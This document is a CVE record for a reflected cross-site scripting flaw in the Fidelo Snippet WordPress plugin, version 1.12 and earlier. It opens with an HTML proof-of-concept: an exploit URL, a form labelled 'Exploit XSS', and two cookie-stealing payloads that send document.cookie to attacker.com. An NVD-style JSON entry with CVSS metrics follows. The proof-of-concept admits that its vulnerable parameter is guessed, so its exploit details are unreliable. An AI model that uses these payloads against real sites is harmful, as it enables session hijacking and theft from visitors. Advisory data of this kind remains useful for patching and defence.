CVE-2025-53351

<!-- CVE-2025-53351 Reflected XSS PoC --> <!-- Target: Fidelo Snippet WordPress Plugin <= 1.12 --> <!-- Attack Vector: Inject malicious JavaScript via URL parameters --> <!-- Malicious URL Payload --> <!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL --> <script>alert(document.cookie)</script> <!-- Example exploitation URL --> <!-- https://TARGET_URL/?s=<script>alert(document.cookie)</script> --> <!-- Or specific plugin parameter based on actual vulnerable endpoint --> <!-- HTML Form for testing --> <form action="http://TARGET_URL/" method="GET"> <input type="hidden" name="bing_query" value="<script>alert(document.cookie)</script>"> <input type="submit" value="Exploit XSS"> </form> <!-- Cookie stealing payload --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Session hijacking payload --> <img src=x onerror="this.src='http://attacker.com/log?cookie='+document.cookie">

{"cve": {"id": "CVE-2025-53351", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:49.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Fidelo Software GmbH Fidelo Snippet thebing-snippet allows Reflected XSS.This issue affects Fidelo Snippet: from n/a through <= 1.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thebing-snippet/vulnerability/wordpress-fidelo-snippet-plugin-1-12-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}